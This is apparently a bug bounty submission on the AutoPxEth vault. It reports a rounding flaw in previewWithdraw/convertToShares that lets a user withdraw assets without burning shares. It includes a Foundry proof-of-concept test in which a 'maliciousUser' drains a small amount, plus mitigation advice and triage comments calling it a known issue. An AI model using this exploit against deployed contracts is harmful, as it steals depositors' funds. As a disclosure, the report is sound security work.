Asset to shares conversion allows asset withdrawal without share burning leading to loss of funds

[c4-bot-3]

Lines of code

https://github.com/redacted-cartel/pirex-eth-contracts/blob/bea04314fe0f06555f7c13f7f17c53da248c9204/src/AutoPxEth.sol#L405 https://github.com/redacted-cartel/pirex-eth-contracts/blob/bea04314fe0f06555f7c13f7f17c53da248c9204/src/AutoPxEth.sol#L275 https://github.com/transmissions11/solmate/blob/c892309933b25c03d32b1b0d674df7ae292ba925/src/tokens/ERC4626.sol#L124 https://github.com/transmissions11/solmate/blob/c892309933b25c03d32b1b0d674df7ae292ba925/src/tokens/ERC4626.sol#L78 https://github.com/transmissions11/solmate/blob/c892309933b25c03d32b1b0d674df7ae292ba925/src/tokens/ERC4626.sol#L149

Vulnerability details

Details

In AutoPxEth.sol the function previewWithdraw() contains a rounding error as it does not round up for converting assets to shares.

This in turn opens a window of exploitation. Consider the convert to shares function block

function convertToShares(uint256 assets) public view virtual returns (uint256) {
        uint256 supply = totalSupply; // Saves an extra SLOAD if totalSupply is non-zero.

        return supply == 0 ? assets : assets.mulDivDown(supply, totalAssets());
    }

As we can see, here the math library relies on normal solidity division and according to the rules if the numerator is less than the denominator precision is lost.

Therefore if totalAssets() is greater than totalSupply, then there results a precision loss.

So consider this scenario

1. User1 stakes into the protocol
2. User2 stakes into the protocol
3. Malicious user3 stakes into the protocol

So far totalSupply should be approximately equal to totalAssets().

However, once rewards are introduced into the protocol the totalAssets() functions return variable is bound to increase, to be greater than the totalSupply.

4. Admin deposits rewards
5. pirexEth notifies rewards

Now totalAssets() > totalSupply

Now a user that is aware of this can always extract n tokens without burning shares as long as

n  <  totalAssets()/totalSupply

where n is a positive integer.

6. As such our malicious user withdraws without burning any shares

POC

pragma solidity ^0.8.19;

import "forge-std/Test.sol";
import "forge-std/console.sol";

import {AutoPxEth} from "src/AutoPxEth.sol";
import {ERC20Mock} from "test/ERC20Mock.sol";
import {RewardRecipient} from "src/RewardRecipient.sol";

contract drainSlip is Test {

        AutoPxEth newAuto;
        ERC20Mock mockToken;
        RewardRecipient mockPlatform;
        address autoAdmin = makeAddr("autoAdmin");
        address user1 = makeAddr("user1");
        address user2 = makeAddr("user2");
        address maliciousUser = makeAddr("maliciousUser");
        address mockPirex = makeAddr("mockPirex");

        function setUp() public {
                mockToken = new ERC20Mock();
                mockPlatform = new RewardRecipient(autoAdmin,0);
                vm.prank(autoAdmin);
                newAuto = new AutoPxEth(address(mockToken),address(mockPlatform));
        }

        function test_slip() public {

                //user 1 deposits
                vm.prank(user1);
                mockToken.mint(user1,3e18);
                vm.prank(user1);
                mockToken.approve(address(newAuto),3e18);
                vm.prank(user1);
                newAuto.deposit(3e18,user1);

                //user 2 deposits
                vm.prank(user2);
                mockToken.mint(user2,4e18);
                vm.prank(user2);
                mockToken.approve(address(newAuto),4e18);
                vm.prank(user2);
                newAuto.deposit(4e18,user2);

                //malicious user deposits
                vm.prank(maliciousUser);
                mockToken.mint(maliciousUser,1e18);
                vm.prank(maliciousUser);
                mockToken.approve(address(newAuto),1e18);
                vm.prank(maliciousUser);
                newAuto.deposit(1e18,maliciousUser);

                //Time lapse
                skip(10000);

                //transfer rewards
                vm.prank(autoAdmin);
                mockToken.mint(autoAdmin,10e18);
                vm.prank(autoAdmin);
                mockToken.transfer(address(newAuto),10e18);

                //set pirex
                vm.prank(autoAdmin);
                newAuto.setPirexEth(mockPirex);

                //notify reward
                vm.prank(mockPirex);
                newAuto.notifyRewardAmount();

                skip(10000);

                //Preview withdraw
                //Preview withdraw
                uint256 previewW = newAuto.previewWithdraw(1);
                console.log("Withdraw shares to be burnt for 1 asset");
                console.log(previewW);

                //Preview convert to assets
                uint256 convertAssets = newAuto.convertToShares(1);
                console.log("Same as above but highlits root cause");
                console.log(convertAssets);

                //User withdraws
                vm.prank(maliciousUser);
                uint256 sharesBurnt = newAuto.withdraw(1,maliciousUser,maliciousUser);
                console.log("Malicious withdraws 1 asset for the following amount of shares");
                console.log(sharesBurnt);
        }

}

ERC20Mock.sol

pragma solidity 0.8.19;

import {ERC20} from "openzeppelin/token/ERC20/ERC20.sol";

contract ERC20Mock is ERC20 {
  constructor() ERC20("MockToken", "MT") {}

  function mint(address account_, uint256 value_) public {
    _mint(account_, value_);
  }
}

Impact

The main impact is the draining of user funds without burning any shares, this could lead to a huge loss for users of the protocol. The attacker could make a significant financial gain given the right ratio of totalSupply to totalAssets().

Mitigation

I would recommend a minimal withdrawal amount, and a check against the burning of 0 shares. Also the previewWithdraw function should be updated to round up.

[c4-bot-8]

Discord id(s) for hunter(s): [object Object]

[bytes032]

known issue

[MiloTruck]

https://github.com/code-423n4/redacted-bug-bounty/issues/7